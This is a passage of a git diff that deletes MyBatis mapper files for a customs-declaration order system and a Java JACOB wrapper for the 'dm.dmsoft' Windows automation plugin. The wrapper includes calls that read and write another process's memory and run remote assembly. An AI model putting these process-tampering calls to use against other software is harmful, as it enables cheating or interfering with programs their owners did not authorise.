buyer_telephone, - buyer_id_type, - buyer_id_number, - consignee, - consignee_telephone, - consignee_address, - consignee_province, - consignee_city, - consignee_district, - total_amount, - discount_amount, - pay_total_amount, - tax_total_amount, - shop_tax_total_amount, - freight_amount, - total_gross_weight, - total_net_weight, - total_quantity, - pay_name, - pay_code, - pay_time, - gateway_order_id, - consignor, - consignor_address, - consignor_telephone, - consignor_country, - consignor_province, - consignor_city, - consignor_district, - receipt_account, - ver_dept, - pay_type, - inital_request, - inital_response, - remark, - express_return, - process, - add_time, - inventory_no, - batch_number, - - - #{declarePortId}, - #{warehouseId}, - #{mode}, - #{userId}, - #{sOrderNo}, - #{declareOrderNo}, - #{status}, - #{expressName}, - #{shipOrderNumber}, - #{buyerRegNo}, - #{buyerName}, - #{buyerTelephone}, - #{buyerIdType}, - #{buyerIdNumber}, - #{consignee}, - #{consigneeTelephone}, - #{consigneeAddress}, - #{consigneeProvince}, - #{consigneeCity}, - #{consigneeDistrict}, - #{totalAmount}, - #{discountAmount}, - #{payTotalAmount}, - #{taxTotalAmount}, - #{shopTaxTotalAmount}, - #{freightAmount}, - #{totalGrossWeight}, - #{totalNetWeight}, - #{totalQuantity}, - #{payName}, - #{payCode}, - #{payTime}, - #{gatewayOrderId}, - #{consignor}, - #{consignorAddress}, - #{consignorTelephone}, - #{consignorCountry}, - #{consignorProvince}, - #{consignorCity}, - #{consignorDistrict}, - #{receiptAccount}, - #{verDept}, - #{payType}, - #{initalRequest}, - #{initalResponse}, - #{remark}, - #{expressReturn}, - #{process}, - #{addTime}, - #{inventoryNo}, - #{batchNumber}, - - - - - update custom_order - - declare_port_id = #{declarePortId}, - warehouse_id = #{warehouseId}, - mode = #{mode}, - user_id = #{userId}, - s_order_no = #{sOrderNo}, - declare_order_no = #{declareOrderNo}, - status = #{status}, - express_name = #{expressName}, - ship_order_number = #{shipOrderNumber}, - buyer_reg_no = #{buyerRegNo}, - buyer_name = #{buyerName}, - buyer_telephone = #{buyerTelephone}, - buyer_id_type = #{buyerIdType}, - buyer_id_number = #{buyerIdNumber}, - consignee = #{consignee}, - consignee_telephone = #{consigneeTelephone}, - consignee_address = #{consigneeAddress}, - consignee_province = #{consigneeProvince}, - consignee_city = #{consigneeCity}, - consignee_district = #{consigneeDistrict}, - total_amount = #{totalAmount}, - discount_amount = #{discountAmount}, - pay_total_amount = #{payTotalAmount}, - tax_total_amount = #{taxTotalAmount}, - shop_tax_total_amount = #{shopTaxTotalAmount}, - freight_amount = #{freightAmount}, - total_gross_weight = #{totalGrossWeight}, - total_net_weight = #{totalNetWeight}, - total_quantity = #{totalQuantity}, - pay_name = #{payName}, - pay_code = #{payCode}, - pay_time = #{payTime}, - gateway_order_id = #{gatewayOrderId}, - consignor = #{consignor}, - consignor_address = #{consignorAddress}, - consignor_telephone = #{consignorTelephone}, - consignor_country = #{consignorCountry}, - consignor_province = #{consignorProvince}, - consignor_city = #{consignorCity}, - consignor_district = #{consignorDistrict}, - receipt_account = #{receiptAccount}, - ver_dept = #{verDept}, - pay_type = #{payType}, - inital_request = #{initalRequest}, - inital_response = #{initalResponse}, - remark = #{remark}, - express_return = #{expressReturn}, - process = #{process}, - add_time = #{addTime}, - inventory_no = #{inventoryNo}, - batch_number = #{batchNumber}, - - where id = #{id} - - - - delete from custom_order where id = #{id} - - - - delete from custom_order where id in - - #{id} - - - - - delete from custom_order_item where order_id in - - #{orderId} - - - - - delete from custom_order_item where order_id = #{orderId} - - - - insert into custom_order_item( id, order_id, declare_port_id, warehouse_id, bar_code, quantity, price, shop_price, freight, tax_amount, item_link, book_number, product_code, name, brand, specification_model, description, quantity_unit, produce_country, inspection_and_quarantine_code, hs_code, tax_rate, declared_count, legal_metering_unit, second_declared_count, second_metering_unit, gross_weight, net_weight) values - - ( #{item.id}, #{item.orderId}, #{item.declarePortId}, #{item.warehouseId}, #{item.barCode}, #{item.quantity}, #{item.price}, #{item.shopPrice}, #{item.freight}, #{item.taxAmount}, #{item.itemLink}, #{item.bookNumber}, #{item.productCode}, #{item.name}, #{item.brand}, #{item.specificationModel}, #{item.description}, #{item.quantityUnit}, #{item.produceCountry}, #{item.inspectionAndQuarantineCode}, #{item.hsCode}, #{item.taxRate}, #{item.declaredCount}, #{item.legalMeteringUnit}, #{item.secondDeclaredCount}, #{item.secondMeteringUnit}, #{item.grossWeight}, #{item.netWeight}) - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomParcelNumberMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomParcelNumberMapper.xml deleted file mode 100644 index eb4b94f..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomParcelNumberMapper.xml +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - - - - - - - - - select id, parcel_number, name, unit, price, tax_rate, tax_amount, remark, add_time, update_time from custom_parcel_number - - - - - - - - insert into custom_parcel_number - - parcel_number, - name, - unit, - price, - tax_rate, - tax_amount, - remark, - add_time, - update_time, - - - #{parcelNumber}, - #{name}, - #{unit}, - #{price}, - #{taxRate}, - #{taxAmount}, - #{remark}, - #{addTime}, - #{updateTime}, - - - - - update custom_parcel_number - - parcel_number = #{parcelNumber}, - name = #{name}, - unit = #{unit}, - price = #{price}, - tax_rate = #{taxRate}, - tax_amount = #{taxAmount}, - remark = #{remark}, - add_time = #{addTime}, - update_time = #{updateTime}, - - where id = #{id} - - - - delete from custom_parcel_number where id = #{id} - - - - delete from custom_parcel_number where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomProductRecordMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomProductRecordMapper.xml deleted file mode 100644 index c967fcb..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomProductRecordMapper.xml +++ /dev/null @@ -1,234 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - select id, sku_code, bar_code, product_code, hs_code, name, brand, description, specification_model, produce_country, produce_country_code, quantity_unit, quantity_unit_code, declared_count, legal_metering_unit, legal_metering_unit_code, second_declared_count, second_metering_unit, second_metering_unit_code, price, gross_weight, net_weight, remark, inspection_and_quarantine_code, user_id, warehouse_id, declare_port_id, tax_rate, ingredient, book_number, type, add_time, parcel_number, parcel_number_tax_rate, english_name, duty_price, tax_amount, update_time from custom_product_record - - - - - - - - insert into custom_product_record - - sku_code, - bar_code, - product_code, - hs_code, - name, - brand, - description, - specification_model, - produce_country, - produce_country_code, - quantity_unit, - quantity_unit_code, - declared_count, - legal_metering_unit, - legal_metering_unit_code, - second_declared_count, - second_metering_unit, - second_metering_unit_code, - price, - gross_weight, - net_weight, - remark, - inspection_and_quarantine_code, - user_id, - warehouse_id, - declare_port_id, - tax_rate, - ingredient, - book_number, - type, - add_time, - parcel_number, - parcel_number_tax_rate, - english_name, - duty_price, - tax_amount, - update_time, - - - #{skuCode}, - #{barCode}, - #{productCode}, - #{hsCode}, - #{name}, - #{brand}, - #{description}, - #{specificationModel}, - #{produceCountry}, - #{produceCountryCode}, - #{quantityUnit}, - #{quantityUnitCode}, - #{declaredCount}, - #{legalMeteringUnit}, - #{legalMeteringUnitCode}, - #{secondDeclaredCount}, - #{secondMeteringUnit}, - #{secondMeteringUnitCode}, - #{price}, - #{grossWeight}, - #{netWeight}, - #{remark}, - #{inspectionAndQuarantineCode}, - #{userId}, - #{warehouseId}, - #{declarePortId}, - #{taxRate}, - #{ingredient}, - #{bookNumber}, - #{type}, - #{addTime}, - #{parcelNumber}, - #{parcelNumberTaxRate}, - #{englishName}, - #{dutyPrice}, - #{taxAmount}, - #{updateTime}, - - - - - update custom_product_record - - sku_code = #{skuCode}, - bar_code = #{barCode}, - product_code = #{productCode}, - hs_code = #{hsCode}, - name = #{name}, - brand = #{brand}, - description = #{description}, - specification_model = #{specificationModel}, - produce_country = #{produceCountry}, - produce_country_code = #{produceCountryCode}, - quantity_unit = #{quantityUnit}, - quantity_unit_code = #{quantityUnitCode}, - declared_count = #{declaredCount}, - legal_metering_unit = #{legalMeteringUnit}, - legal_metering_unit_code = #{legalMeteringUnitCode}, - second_declared_count = #{secondDeclaredCount}, - second_metering_unit = #{secondMeteringUnit}, - second_metering_unit_code = #{secondMeteringUnitCode}, - price = #{price}, - gross_weight = #{grossWeight}, - net_weight = #{netWeight}, - remark = #{remark}, - inspection_and_quarantine_code = #{inspectionAndQuarantineCode}, - user_id = #{userId}, - warehouse_id = #{warehouseId}, - declare_port_id = #{declarePortId}, - tax_rate = #{taxRate}, - ingredient = #{ingredient}, - book_number = #{bookNumber}, - type = #{type}, - add_time = #{addTime}, - parcel_number = #{parcelNumber}, - parcel_number_tax_rate = #{parcelNumberTaxRate}, - english_name = #{englishName}, - duty_price = #{dutyPrice}, - tax_amount = #{taxAmount}, - update_time = #{updateTime}, - - where id = #{id} - - - - delete from custom_product_record where id = #{id} - - - - delete from custom_product_record where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomRegionCodeMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomRegionCodeMapper.xml deleted file mode 100644 index 2cce565..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomRegionCodeMapper.xml +++ /dev/null @@ -1,75 +0,0 @@ - - - - - - - - - - - - - - - select id, parent_id, code, name, remark, grade from custom_region_code - - - - - - - - insert into custom_region_code - - parent_id, - code, - name, - remark, - grade, - - - #{parentId}, - #{code}, - #{name}, - #{remark}, - #{grade}, - - - - - update custom_region_code - - parent_id = #{parentId}, - code = #{code}, - name = #{name}, - remark = #{remark}, - grade = #{grade}, - - where id = #{id} - - - - delete from custom_region_code where id = #{id} - - - - delete from custom_region_code where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomUnitCodeMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomUnitCodeMapper.xml deleted file mode 100644 index 53511a8..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomUnitCodeMapper.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - - - - - - - - - - - select id, code, name, remark from custom_unit_code - - - - - - - - insert into custom_unit_code - - code, - name, - remark, - - - #{code}, - #{name}, - #{remark}, - - - - - update custom_unit_code - - code = #{code}, - name = #{name}, - remark = #{remark}, - - where id = #{id} - - - - delete from custom_unit_code where id = #{id} - - - - delete from custom_unit_code where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-custom/src/main/resources/mapper/custom/CustomWarehouseMapper.xml b/luqj-custom/src/main/resources/mapper/custom/CustomWarehouseMapper.xml deleted file mode 100644 index 8664253..0000000 --- a/luqj-custom/src/main/resources/mapper/custom/CustomWarehouseMapper.xml +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - select id, declare_port_id, name, code, describe, consignor, consignor_address, consignor_telephone, consignor_country, consignor_province, consignor_city, consignor_district, type from custom_warehouse - - - - - - - - insert into custom_warehouse - - declare_port_id, - name, - code, - describe, - consignor, - consignor_address, - consignor_telephone, - consignor_country, - consignor_province, - consignor_city, - consignor_district, - type, - - - #{declarePortId}, - #{name}, - #{code}, - #{describe}, - #{consignor}, - #{consignorAddress}, - #{consignorTelephone}, - #{consignorCountry}, - #{consignorProvince}, - #{consignorCity}, - #{consignorDistrict}, - #{type}, - - - - - update custom_warehouse - - declare_port_id = #{declarePortId}, - name = #{name}, - code = #{code}, - describe = #{describe}, - consignor = #{consignor}, - consignor_address = #{consignorAddress}, - consignor_telephone = #{consignorTelephone}, - consignor_country = #{consignorCountry}, - consignor_province = #{consignorProvince}, - consignor_city = #{consignorCity}, - consignor_district = #{consignorDistrict}, - type = #{type}, - - where id = #{id} - - - - delete from custom_warehouse where id = #{id} - - - - delete from custom_warehouse where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-damo/libs/DmReg.dll b/luqj-damo/libs/DmReg.dll deleted file mode 100644 index 2bfb7ac..0000000 Binary files a/luqj-damo/libs/DmReg.dll and /dev/null differ diff --git a/luqj-damo/libs/jacob-1.21-x64.dll b/luqj-damo/libs/jacob-1.21-x64.dll deleted file mode 100644 index c3da072..0000000 Binary files a/luqj-damo/libs/jacob-1.21-x64.dll and /dev/null differ diff --git a/luqj-damo/libs/jacob-1.21-x86.dll b/luqj-damo/libs/jacob-1.21-x86.dll deleted file mode 100644 index 0858364..0000000 Binary files a/luqj-damo/libs/jacob-1.21-x86.dll and /dev/null differ diff --git a/luqj-damo/libs/jacob.jar b/luqj-damo/libs/jacob.jar deleted file mode 100644 index 54549aa..0000000 Binary files a/luqj-damo/libs/jacob.jar and /dev/null differ diff --git a/luqj-damo/pom.xml b/luqj-damo/pom.xml deleted file mode 100644 index 3dd2612..0000000 --- a/luqj-damo/pom.xml +++ /dev/null @@ -1,37 +0,0 @@ - - 4.0.0 - - com.ruoyi - ruoyi - 3.4.0 - - - luqj-damo - jar - - luqj-damo - http://maven.apache.org - - - UTF-8 - - - - - net.java.dev.jna - jna - 5.13.0 - - - net.java.dev.jna - jna-platform - 5.13.0 - - - com.jacob - jacob - 1.21 - - - diff --git a/luqj-damo/src/main/java/com/luqj/damo/obj/DmSoft.java b/luqj-damo/src/main/java/com/luqj/damo/obj/DmSoft.java deleted file mode 100644 index bd17a35..0000000 --- a/luqj-damo/src/main/java/com/luqj/damo/obj/DmSoft.java +++ /dev/null @@ -1,1767 +0,0 @@ -package com.luqj.damo.obj; - -import com.jacob.activeX.ActiveXComponent; -import com.jacob.com.Dispatch; -import com.jacob.com.Variant; - -public class DmSoft { - private ActiveXComponent dm = null; - - public DmSoft() { - dm = new ActiveXComponent("dm.dmsoft"); - } - - public void releaseObj() { - if (dm != null) { - dm.safeRelease(); - dm = null; - } - } - - public int setRowGapNoDict(int rowGap) { - return Dispatch.call(dm, "SetRowGapNoDict", rowGap).getInt(); - } - - public int enableMouseSync(int en, int timeOut) { - return Dispatch.call(dm, "EnableMouseSync", en, timeOut).getInt(); - } - - public String getCursorShapeEx(int tpe) { - return Dispatch.call(dm, "GetCursorShapeEx", tpe).toString(); - } - - public int getTime() { - return Dispatch.call(dm, "GetTime").getInt(); - } - - public int checkUAC() { - return Dispatch.call(dm, "CheckUAC").getInt(); - } - - public int enableRealMouse(int en, int mousedelay, int mousestep) { - return Dispatch.call(dm, "EnableRealMouse", en, mousedelay, mousestep).getInt(); - } - - public String readStringAddr(int hwnd, long addr, int tpe, int length) { - return Dispatch.call(dm, "ReadStringAddr", hwnd, addr, tpe, length).toString(); - } - - public int findShape(int x1, int y1, int x2, int y2, String offsetColor, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindShape", x1, y1, x2, y2, offsetColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int getWindow(int hwnd, int flag) { - return Dispatch.call(dm, "GetWindow", hwnd, flag).getInt(); - } - - public String getPicSize(String picName) { - return Dispatch.call(dm, "GetPicSize", picName).toString(); - } - - public String getWindowProcessPath(int hwnd) { - return Dispatch.call(dm, "GetWindowProcessPath", hwnd).toString(); - } - - public int exitOs(int tpe) { - return Dispatch.call(dm, "ExitOs", tpe).getInt(); - } - - public int leftClick() { - return Dispatch.call(dm, "LeftClick").getInt(); - } - - public long asmCallEx(int hwnd, int mode, String baseAddr) { - return Dispatch.call(dm, "AsmCallEx", hwnd, mode, baseAddr).getLong(); - } - - public int moveFile(String srcFile, String dstFile) { - return Dispatch.call(dm, "MoveFile", srcFile, dstFile).getInt(); - } - - public int foobarFillRect(int hwnd, int x1, int y1, int x2, int y2, String color) { - return Dispatch.call(dm, "FoobarFillRect", hwnd, x1, y1, x2, y2, color).getInt(); - } - - public int setWindowSize(int hwnd, int width, int height) { - return Dispatch.call(dm, "SetWindowSize", hwnd, width, height).getInt(); - } - - public int sendStringIme(String str) { - return Dispatch.call(dm, "SendStringIme", str).getInt(); - } - - public int isBind(int hwnd) { - return Dispatch.call(dm, "IsBind", hwnd).getInt(); - } - - public String bgr2RGB(String bgrColor) { - return Dispatch.call(dm, "BGR2RGB", bgrColor).toString(); - } - - public int rightDown() { - return Dispatch.call(dm, "RightDown").getInt(); - } - - public int enterCri() { - return Dispatch.call(dm, "EnterCri").getInt(); - } - - public int setClipboard(String data) { - return Dispatch.call(dm, "SetClipboard", data).getInt(); - } - - public int getScreenDepth() { - return Dispatch.call(dm, "GetScreenDepth").getInt(); - } - - public int getBindWindow() { - return Dispatch.call(dm, "GetBindWindow").getInt(); - } - - public int beep(int fre, int delay) { - return Dispatch.call(dm, "Beep", fre, delay).getInt(); - } - - public String findStrFastS(int x1, int y1, int x2, int y2, String str, String color, double sim, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - String result = Dispatch.call(dm, "FindStrFastS", x1, y1, x2, y2, str, color, sim, xVar, yVar).toString(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public long getRemoteApiAddress(int hwnd, long baseAddr, String funName) { - return Dispatch.call(dm, "GetRemoteApiAddress", hwnd, baseAddr, funName).getLong(); - } - - public String getMachineCode() { - return Dispatch.call(dm, "GetMachineCode").toString(); - } - - public int setPath(String path) { - return Dispatch.call(dm, "SetPath", path).getInt(); - } - - public int getNowDict() { - return Dispatch.call(dm, "GetNowDict").getInt(); - } - - public String enumIniKeyPwd(String section, String fileName, String pwd) { - return Dispatch.call(dm, "EnumIniKeyPwd", section, fileName, pwd).toString(); - } - - public int deleteFile(String fileName) { - return Dispatch.call(dm, "DeleteFile", fileName).getInt(); - } - - public int regExNoMac(String code, String Ver, String ip) { - return Dispatch.call(dm, "RegExNoMac", code, Ver, ip).getInt(); - } - - public int getFileLength(String fileName) { - return Dispatch.call(dm, "GetFileLength", fileName).getInt(); - } - - public int initCri() { - return Dispatch.call(dm, "InitCri").getInt(); - } - - public String findColorE(int x1, int y1, int x2, int y2, String color, double sim, int dir) { - return Dispatch.call(dm, "FindColorE", x1, y1, x2, y2, color, sim, dir).toString(); - } - - public int setMinRowGap(int rowGap) { - return Dispatch.call(dm, "SetMinRowGap", rowGap).getInt(); - } - - public int getMemoryUsage() { - return Dispatch.call(dm, "GetMemoryUsage").getInt(); - } - - public int aiFindPic(int x1, int y1, int x2, int y2, String picName, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "AiFindPic", x1, y1, x2, y2, picName, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String readFile(String fileName) { - return Dispatch.call(dm, "ReadFile", fileName).toString(); - } - - public int captureGif(int x1, int y1, int x2, int y2, String fileName, int delay, int time) { - return Dispatch.call(dm, "CaptureGif", x1, y1, x2, y2, fileName, delay, time).getInt(); - } - - public int enableMouseMsg(int en) { - return Dispatch.call(dm, "EnableMouseMsg", en).getInt(); - } - - public int setScreen(int width, int height, int depth) { - return Dispatch.call(dm, "SetScreen", width, height, depth).getInt(); - } - - public int faqRelease(int handle) { - return Dispatch.call(dm, "FaqRelease", handle).getInt(); - } - - public int aiYoloFreeModel(int index) { - return Dispatch.call(dm, "AiYoloFreeModel", index).getInt(); - } - - public int dmGuardExtract(String tpe, String path) { - return Dispatch.call(dm, "DmGuardExtract", tpe, path).getInt(); - } - - public int getFps() { - return Dispatch.call(dm, "GetFps").getInt(); - } - - public int findStr(int x1, int y1, int x2, int y2, String str, String color, double sim, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindStr", x1, y1, x2, y2, str, color, sim, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String getDisplayInfo() { - return Dispatch.call(dm, "GetDisplayInfo").toString(); - } - - public int bindWindowEx(int hwnd, String display, String mouse, String keypad, String publicDesc, int mode) { - return Dispatch.call(dm, "BindWindowEx", hwnd, display, mouse, keypad, publicDesc, mode).getInt(); - } - - public int aiFindPicMem(int x1, int y1, int x2, int y2, String picInfo, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "AiFindPicMem", x1, y1, x2, y2, picInfo, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String matchPicName(String picName) { - return Dispatch.call(dm, "MatchPicName", picName).toString(); - } - - public double readDoubleAddr(int hwnd, long addr) { - return Dispatch.call(dm, "ReadDoubleAddr", hwnd, addr).getDouble(); - } - - public int disableScreenSave() { - return Dispatch.call(dm, "DisableScreenSave").getInt(); - } - - public int int64ToInt32(long v) { - return Dispatch.call(dm, "Int64ToInt32", v).getInt(); - } - - public int useDict(int index) { - return Dispatch.call(dm, "UseDict", index).getInt(); - } - - public int delays(int minS, int maxS) { - return Dispatch.call(dm, "Delays", minS, maxS).getInt(); - } - - public String ocrInFile(int x1, int y1, int x2, int y2, String picName, String color, double sim) { - return Dispatch.call(dm, "OcrInFile", x1, y1, x2, y2, picName, color, sim).toString(); - } - - public int setLocale() { - return Dispatch.call(dm, "SetLocale").getInt(); - } - - public String getColorHSV(int x, int y) { - return Dispatch.call(dm, "GetColorHSV", x, y).toString(); - } - - public String readIni(String section, String key, String fileName) { - return Dispatch.call(dm, "ReadIni", section, key, fileName).toString(); - } - - public int setInputDm(int inputDm, int rx, int ry) { - return Dispatch.call(dm, "SetInputDm", inputDm, rx, ry).getInt(); - } - - public String findColorBlockEx(int x1, int y1, int x2, int y2, String color, double sim, int count, int width, int height) { - return Dispatch.call(dm, "FindColorBlockEx", x1, y1, x2, y2, color, sim, count, width, height).toString(); - } - - public int checkInputMethod(int hwnd, String id) { - return Dispatch.call(dm, "CheckInputMethod", hwnd, id).getInt(); - } - - public int delay(int mis) { - return Dispatch.call(dm, "delay", mis).getInt(); - } - - public int asmClear() { - return Dispatch.call(dm, "AsmClear").getInt(); - } - - public int findWindowByProcessId(int processId, String className, String titleName) { - return Dispatch.call(dm, "FindWindowByProcessId", processId, className, titleName).getInt(); - } - - public int speedNormalGraphic(int en) { - return Dispatch.call(dm, "SpeedNormalGraphic", en).getInt(); - } - - public int play(String fileName) { - return Dispatch.call(dm, "Play", fileName).getInt(); - } - - public int sendString2(int hwnd, String str) { - return Dispatch.call(dm, "SendString2", hwnd, str).getInt(); - } - - public int findColorBlock(int x1, int y1, int x2, int y2, String color, double sim, int count, int width, int height, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindColorBlock", x1, y1, x2, y2, color, sim, count, width, height, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int getDmCount() { - return Dispatch.call(dm, "GetDmCount").getInt(); - } - - public String sortPosDistance(String allPos, int tpe, int x, int y) { - return Dispatch.call(dm, "SortPosDistance", allPos, tpe, x, y).toString(); - } - - public String doubleToData(double doubleValue) { - return Dispatch.call(dm, "DoubleToData", doubleValue).toString(); - } - - public int setAero(int en) { - return Dispatch.call(dm, "SetAero", en).getInt(); - } - - public String virtualQueryEx(int hwnd, long addr, int pmbi) { - return Dispatch.call(dm, "VirtualQueryEx", hwnd, addr, pmbi).toString(); - } - - public String findData(int hwnd, String addrRange, String data) { - return Dispatch.call(dm, "FindData", hwnd, addrRange, data).toString(); - } - - public int aiYoloSetModelMemory(int index, int addr, int size, String pwd) { - return Dispatch.call(dm, "AiYoloSetModelMemory", index, addr, size, pwd).getInt(); - } - - public int writeInt(int hwnd, String addr, int tpe, long v) { - return Dispatch.call(dm, "WriteInt", hwnd, addr, tpe, v).getInt(); - } - - public int sendPaste(int hwnd) { - return Dispatch.call(dm, "SendPaste", hwnd).getInt(); - } - - public int wheelUp() { - return Dispatch.call(dm, "WheelUp").getInt(); - } - - public int enableIme(int en) { - return Dispatch.call(dm, "EnableIme", en).getInt(); - } - - public int getID() { - return Dispatch.call(dm, "GetID").getInt(); - } - - public int getMouseSpeed() { - return Dispatch.call(dm, "GetMouseSpeed").getInt(); - } - - public int wheelDown() { - return Dispatch.call(dm, "WheelDown").getInt(); - } - - public int foobarPrintText(int hwnd, String text, String color) { - return Dispatch.call(dm, "FoobarPrintText", hwnd, text, color).getInt(); - } - - public int getSpecialWindow(int flag) { - return Dispatch.call(dm, "GetSpecialWindow", flag).getInt(); - } - - public int rightClick() { - return Dispatch.call(dm, "RightClick").getInt(); - } - - public int setShowErrorMsg(int show) { - return Dispatch.call(dm, "SetShowErrorMsg", show).getInt(); - } - - public int findMultiColor(int x1, int y1, int x2, int y2, String firstColor, String offsetColor, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindMultiColor", x1, y1, x2, y2, firstColor, offsetColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int enableFontSmooth() { - return Dispatch.call(dm, "EnableFontSmooth").getInt(); - } - - public String getWords(int x1, int y1, int x2, int y2, String color, double sim) { - return Dispatch.call(dm, "GetWords", x1, y1, x2, y2, color, sim).toString(); - } - - public String getPath() { - return Dispatch.call(dm, "GetPath").toString(); - } - - public int getScreenHeight() { - return Dispatch.call(dm, "GetScreenHeight").getInt(); - } - - public int keyPressStr(String keyStr, int delay) { - return Dispatch.call(dm, "KeyPressStr", keyStr, delay).getInt(); - } - - public int createFoobarRoundRect(int hwnd, int x, int y, int w, int h, int rw, int rh) { - return Dispatch.call(dm, "CreateFoobarRoundRect", hwnd, x, y, w, h, rw, rh).getInt(); - } - - public int leftDoubleClick() { - return Dispatch.call(dm, "LeftDoubleClick").getInt(); - } - - public int sendString(int hwnd, String str) { - return Dispatch.call(dm, "SendString", hwnd, str).getInt(); - } - - public int findStrFast(int x1, int y1, int x2, int y2, String str, String color, double sim, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindStrFast", x1, y1, x2, y2, str, color, sim, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int createFoobarEllipse(int hwnd, int x, int y, int w, int h) { - return Dispatch.call(dm, "CreateFoobarEllipse", hwnd, x, y, w, h).getInt(); - } - - public int setFindPicMultithreadCount(int count) { - return Dispatch.call(dm, "SetFindPicMultithreadCount", count).getInt(); - } - - public int foobarTextPrintDir(int hwnd, int dir) { - return Dispatch.call(dm, "FoobarTextPrintDir", hwnd, dir).getInt(); - } - - public String findStrS(int x1, int y1, int x2, int y2, String str, String color, double sim, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - String result = Dispatch.call(dm, "FindStrS", x1, y1, x2, y2, str, color, sim, xVar, yVar).toString(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int setColGapNoDict(int colGap) { - return Dispatch.call(dm, "SetColGapNoDict", colGap).getInt(); - } - - public int runApp(String path, int mode) { - return Dispatch.call(dm, "RunApp", path, mode).getInt(); - } - - public int keyDown(int vk) { - return Dispatch.call(dm, "KeyDown", vk).getInt(); - } - - public int isFolderExist(String folder) { - return Dispatch.call(dm, "IsFolderExist", folder).getInt(); - } - - public int deleteIni(String section, String key, String fileName) { - return Dispatch.call(dm, "DeleteIni", section, key, fileName).getInt(); - } - - public int getColorNum(int x1, int y1, int x2, int y2, String color, double sim) { - return Dispatch.call(dm, "GetColorNum", x1, y1, x2, y2, color, sim).getInt(); - } - - public int freeProcessMemory(int hwnd) { - return Dispatch.call(dm, "FreeProcessMemory", hwnd).getInt(); - } - - public int findInputMethod(String id) { - return Dispatch.call(dm, "FindInputMethod", id).getInt(); - } - - public int delEnv(int index, String name) { - return Dispatch.call(dm, "DelEnv", index, name).getInt(); - } - - public int keyUpChar(String keyStr) { - return Dispatch.call(dm, "KeyUpChar", keyStr).getInt(); - } - - public int freeScreenData(int handle) { - return Dispatch.call(dm, "FreeScreenData", handle).getInt(); - } - - public String findPicSimMemEx(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, int sim, int dir) { - return Dispatch.call(dm, "FindPicSimMemEx", x1, y1, x2, y2, picInfo, deltaColor, sim, dir).toString(); - } - - public int aiYoloDetectObjectsToDataBmp(int x1, int y1, int x2, int y2, double prob, double iou, int[] data, int[] size, int mode) { - Variant dataVar = new Variant(0, true); - Variant sizeVar = new Variant(0, true); - int result = Dispatch.call(dm, "AiYoloDetectObjectsToDataBmp", x1, y1, x2, y2, prob, iou, dataVar, sizeVar, mode).getInt(); - data[0] = dataVar.getInt(); - size[0] = sizeVar.getInt(); - return result; - } - - public int findColor(int x1, int y1, int x2, int y2, String color, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindColor", x1, y1, x2, y2, color, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String findFloat(int hwnd, String addrRange, float floatValueMin, float floatValueMax) { - return Dispatch.call(dm, "FindFloat", hwnd, addrRange, floatValueMin, floatValueMax).toString(); - } - - public String getWindowTitle(int hwnd) { - return Dispatch.call(dm, "GetWindowTitle", hwnd).toString(); - } - - public String readString(int hwnd, String addr, int tpe, int length) { - return Dispatch.call(dm, "ReadString", hwnd, addr, tpe, length).toString(); - } - - public int leaveCri() { - return Dispatch.call(dm, "LeaveCri").getInt(); - } - - public int terminateProcess(int 